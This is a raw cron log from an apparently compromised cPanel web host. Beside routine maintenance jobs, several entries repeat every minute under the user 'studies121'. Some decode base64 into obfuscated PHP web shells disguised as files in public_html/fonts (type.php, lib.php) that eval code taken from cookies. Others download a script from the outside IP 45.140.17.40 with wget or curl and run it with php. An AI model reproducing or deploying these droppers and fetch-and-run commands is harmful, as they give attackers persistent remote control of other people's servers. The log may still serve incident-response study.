Sep  5 07:09:01 ip-184-168-122-23 CROND[31292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:09:01 ip-184-168-122-23 CROND[31294]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 07:10:01 ip-184-168-122-23 CROND[31425]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 07:10:01 ip-184-168-122-23 CROND[31426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:10:01 ip-184-168-122-23 CROND[31430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:10:01 ip-184-168-122-23 CROND[31431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:10:01 ip-184-168-122-23 CROND[31433]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:10:01 ip-184-168-122-23 CROND[31436]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:10:01 ip-184-168-122-23 CROND[31437]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:10:01 ip-184-168-122-23 CROND[31438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:11:01 ip-184-168-122-23 CROND[31639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:11:01 ip-184-168-122-23 CROND[31641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:11:01 ip-184-168-122-23 CROND[31642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:11:01 ip-184-168-122-23 CROND[31643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:12:01 ip-184-168-122-23 CROND[31724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:12:01 ip-184-168-122-23 CROND[31725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:12:01 ip-184-168-122-23 CROND[31727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:12:01 ip-184-168-122-23 CROND[31726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:12:01 ip-184-168-122-23 CROND[31729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:13:01 ip-184-168-122-23 CROND[31845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:13:01 ip-184-168-122-23 CROND[31847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:13:01 ip-184-168-122-23 CROND[31848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:13:01 ip-184-168-122-23 CROND[31849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:14:01 ip-184-168-122-23 CROND[31989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:14:01 ip-184-168-122-23 CROND[31993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:14:01 ip-184-168-122-23 CROND[31994]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:14:01 ip-184-168-122-23 CROND[31991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:14:01 ip-184-168-122-23 CROND[31992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:15:01 ip-184-168-122-23 CROND[32085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:15:01 ip-184-168-122-23 CROND[32090]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:15:01 ip-184-168-122-23 CROND[32087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:15:01 ip-184-168-122-23 CROND[32088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:15:01 ip-184-168-122-23 CROND[32091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:15:01 ip-184-168-122-23 CROND[32089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:16:01 ip-184-168-122-23 CROND[32252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:16:01 ip-184-168-122-23 CROND[32254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:16:01 ip-184-168-122-23 CROND[32257]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:16:01 ip-184-168-122-23 CROND[32255]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 07:16:01 ip-184-168-122-23 CROND[32258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:16:01 ip-184-168-122-23 CROND[32256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:17:01 ip-184-168-122-23 CROND[32432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:17:01 ip-184-168-122-23 CROND[32435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:17:01 ip-184-168-122-23 CROND[32434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:17:01 ip-184-168-122-23 CROND[32433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:18:01 ip-184-168-122-23 CROND[32526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:18:01 ip-184-168-122-23 CROND[32529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:18:01 ip-184-168-122-23 CROND[32531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:18:01 ip-184-168-122-23 CROND[32528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:18:01 ip-184-168-122-23 CROND[32530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:19:01 ip-184-168-122-23 CROND[32688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:19:01 ip-184-168-122-23 CROND[32689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:19:01 ip-184-168-122-23 CROND[32690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:19:01 ip-184-168-122-23 CROND[32694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:20:01 ip-184-168-122-23 CROND[332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:20:01 ip-184-168-122-23 CROND[331]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 07:20:01 ip-184-168-122-23 CROND[336]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:20:01 ip-184-168-122-23 CROND[341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:20:01 ip-184-168-122-23 CROND[338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:20:01 ip-184-168-122-23 CROND[340]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 07:20:01 ip-184-168-122-23 CROND[337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:20:01 ip-184-168-122-23 CROND[342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:20:01 ip-184-168-122-23 CROND[343]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:21:01 ip-184-168-122-23 CROND[489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:21:01 ip-184-168-122-23 CROND[490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:21:01 ip-184-168-122-23 CROND[492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
